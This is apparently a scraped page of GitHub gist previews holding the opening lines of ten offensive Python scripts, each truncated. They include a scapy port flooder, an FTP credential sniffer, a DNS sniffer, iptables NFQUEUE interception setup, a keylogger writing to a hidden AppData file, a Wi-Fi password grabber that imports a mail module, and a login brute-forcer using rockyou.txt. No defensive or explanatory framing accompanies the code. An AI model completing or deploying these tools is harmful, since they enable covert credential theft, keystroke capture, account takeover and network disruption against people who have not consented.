This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from termcolor import colored | |
import hashlib | |
# opening password file | |
def open_file(list): | |
global file | |
try: | |
file = open(plist, "r") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import subprocess | |
def change_mac(interface, mac_address): | |
# shutdown interface | |
subprocess.call(["ifconfig", interface, "down"]) | |
# changing the MAC address | |
subprocess.call(["ifconfig", interface, "hw", "ether", mac_address]) | |
# starting up interface |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from scapy.all import * | |
def flood(src,target,message): | |
# spamming ports | |
for dest_port in range(1024, 65535): | |
IPlayer = IP(src=src, dst=target) | |
TCPlayer = TCP(sport=4444, dport=dest_port) # from 4444 to the range | |
RAWlayer = Raw(load=message) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
''' | |
Ethernet header (14 bytes) | |
- 12 bytes - destination (6) and source port (6) | |
- 2 bytes: type of protocol (ethernet packet) | |
''' | |
import socket | |
# strings to binary manipulation |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
# sniffing login credentials via FTP (insecure protocol) | |
import optparse | |
from scapy.all import * | |
import re # regex | |
def ftp(packet): | |
# getting the destination ( IP address from header) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from scapy.all import * | |
def dns(packet): | |
# finding DNS packets (check DNS layer - if it does, inspect) | |
if packet.haslayer(DNS): | |
# printing source from IP header and summary of DNS headers | |
print(packet[IP].src, packet[DNS].summary()) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
''' | |
An iptable flush will be required | |
iptables --flush | |
iptables -I FORWARD -j NFQUEUE --queue-num 0 (this number may vary) | |
iptables -I OUTPUT -j NFQUEUE --queue-num 0 (this number may vary) | |
iptables -I INPUT -j NFQUEUE --queue-num 0 (this number may vary) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import pynput.keyboard | |
import threading | |
import os | |
# log variable | |
log = "" | |
# path | |
path = os.environ["appdata"] + "\\happy.txt" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import subprocess | |
import mail1 | |
import re # regex pattern | |
if __name__ == "__main__": | |
# setting the command (all available hotspots) | |
command = 'netsh wlan show profile' | |
# grabbing networks |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# a good password list (In Kali): /usr/share/wordlists/metasploit/rockyou.txt | |
import requests | |
def bruteforcer(username, url): | |
for password in passwords: | |
password = password.strip() | |
print("[!] Bruteforcing with password: %s" % password) | |
# generating dictionary (key (form name value) - username as value = whatever set on input) |